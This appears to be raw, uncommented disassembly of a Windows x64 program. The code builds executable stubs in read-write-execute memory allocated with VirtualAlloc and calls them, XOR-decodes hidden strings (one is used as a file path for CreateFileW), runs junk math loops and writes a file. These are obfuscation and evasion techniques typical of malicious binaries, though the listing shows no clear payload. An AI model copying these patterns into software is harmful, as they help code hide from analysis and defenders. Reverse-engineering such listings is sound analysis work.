mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400228d4
mov r8, rsi
jmp 0x14002296e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400228e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x70]
lea rcx, [0x140001600]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov dword [rsp + 0x148], 0x5dc
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x1400279d0]
test rax, rax
je 0x140022a31
mov rdx, rsi
cmp rax, rbx
je 0x140022a20
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x140022a08
jmp 0x140022a31
mov r8, qword [r15 + rdx*8 + 0x42ba0]
test r8, r8
jne 0x140022b1f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022a5a
mov r8, rsi
jmp 0x140022afe
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022a70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x1400408e0]
lea rbx, [0x140027b60]
test rax, rax
je 0x140022bb9
mov rdx, rsi
cmp rax, rbx
je 0x140022ba8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x408e0]
test rax, rax
jne 0x140022b90
jmp 0x140022bb9
mov r8, qword [r15 + rdx*8 + 0x42ec0]
test r8, r8
jne 0x140022c9f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022be2
mov r8, rsi
jmp 0x140022c7e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022bf0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140043b60]
mov qword [r15 + rax*8 + 0x408e0], rbx
mov qword [r15 + rax*8 + 0x42ec0], r8
inc rax
mov qword [0x140043b60], rax
lea rcx, [0x140009650]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
movups xmm0, xmmword [0x140036728]
movups xmmword [rsp + 0x1b0], xmm0
movsd xmm0, qword [0x140036738]
movsd qword [rsp + 0x1c0], xmm0
mov eax, dword [0x140036740]
mov dword [rsp + 0x1c8], eax
movzx eax, byte [0x140036744]
mov byte [rsp + 0x1cc], al
mov r9d, esi
cmp edi, 2
jl 0x140022ec7
movdqa xmm0, xmmword [0x140037300]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x1b4]
mov edx, dword [rsp + 0x160]
nop dword [rax]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140022d40
cmp r9d, 0x1d
jge 0x140022f2f
movsxd rax, r9d
lea r10, [rsp + 0x1b0]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1d
jl 0x140022ee0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140022f99
mov rdx, rsi
cmp rax, r12
je 0x140022f88
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140022f70
jmp 0x140022f99
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14002307f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022fc2
mov r8, rsi
jmp 0x14002305e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022fd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x70]
lea rcx, [0x140001600]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov dword [rsp + 0x148], 0x1388
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x1400279d0]
test rax, rax
je 0x140023121
mov rdx, rsi
cmp rax, rbx
je 0x140023110
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x1400230f8
jmp 0x140023121
mov r8, qword [r15 + rdx*8 + 0x42ba0]
test r8, r8
jne 0x14002320f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14002314a
mov r8, rsi
jmp 0x1400231ee
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140023160
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
movups xmm0, xmmword [0x1400366c8]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x1400366d8]
movups xmmword [rsp + 0xa0], xmm1
movsd xmm0, qword [0x1400366e8]
movsd qword [rsp + 0xb0], xmm0
movzx eax, word [0x1400366f0]
mov word [rsp + 0xb8], ax
mov r9d, esi
cmp edi, 2
jl 0x14002343b
movdqa xmm7, xmmword [0x1400372f0]
lea rcx, [rsp + 0x90]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm11
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm4, xmm0, 0xdd
psrad xmm4, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400372d0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm7
psubw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm11
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm4, xmm0, 0xdd
psrad xmm4, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400372d0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm7
psubw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x10
jl 0x1400232a0
cmp r9d, 0x15
jge 0x1400234a7
movsxd rax, r9d
lea r10, [rsp + 0x90]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x67
sub cx, r8w
movzx eax, r9w
add ax, ax
sub cx, 6
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x15
jl 0x140023450
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400254c0
mov dword [rsp + 0x148], 0xffffff9c
mov dword [rsp + 0x14c], 0x64
movups xmmword [rsp + 0x1d0], xmm9
mov dword [rsp + 0x40], esi
movsd qword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x190]
call fcn.140001670
mov qword [rsp + 0x70], 0x64
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x160]
call fcn.1400272a0
lea rcx, [rsp + 0x1b0]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1b0], xmm1
mov qword [rsp + 0x1c0], rsi
lea rcx, [rsp + 0x60]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x70]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x70]
call fcn.140025380
lea rcx, [rsp + 0x190]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x190]
call fcn.140025380
lea rcx, [rsp + 0x70]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x70]
call fcn.140025380
lea rcx, [rsp + 0x190]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x190]
call fcn.140025380
lea rcx, [rsp + 0x70]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x70]
call fcn.140025380
lea rcx, [rsp + 0x70]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x160]
call fcn.1400024e0
test al, al
jns 0x140023a3a
cmp esi, 0x186a0
jge 0x140023a33
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov rbx, qword [rsp + 0x1b8]
sub rbx, qword [rsp + 0x1b0]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x1b0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x220]
call fcn.1400264a0
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x220]
call fcn.140002300
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rcx, [rsp + 0x170]
call fcn.140025590
nop
lea rax, [rsp + 0x148]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.140027490
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call fcn.140002410
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.1400274f0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
test al, 1
jne 0x140023952
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140023961
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
xor ebx, ebx
nop dword [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x1400239db
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1400239fc
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140023970
sub rdi, 1
jne 0x140023966
lea rcx, [rsp + 0x170]
call fcn.140025530
nop
lea rcx, [rsp + 0x220]
call fcn.140026440
inc esi
jmp 0x140023703
xor esi, esi
jmp 0x1400236e1
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x1b0]
call fcn.1400253f0
lea rcx, [rsp + 0x200]
call fcn.140026260
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140023a60
lea rcx, [rsp + 0x200]
call fcn.140026260
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x150]
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [0x14003f090]
test eax, eax
jne 0x140023e36
movsd xmm0, qword [0x140035d58]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140035d60]
mov dword [rsp + 0x78], eax
cmp byte [0x140035d63], 0
je 0x140023caf
mov r9d, esi
cmp edi, 2
jl 0x140023c50
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm11
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037300]
movd xmm0, eax
psubb xmm2, xmm0
movd xmm0, dword [0x140035d58]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
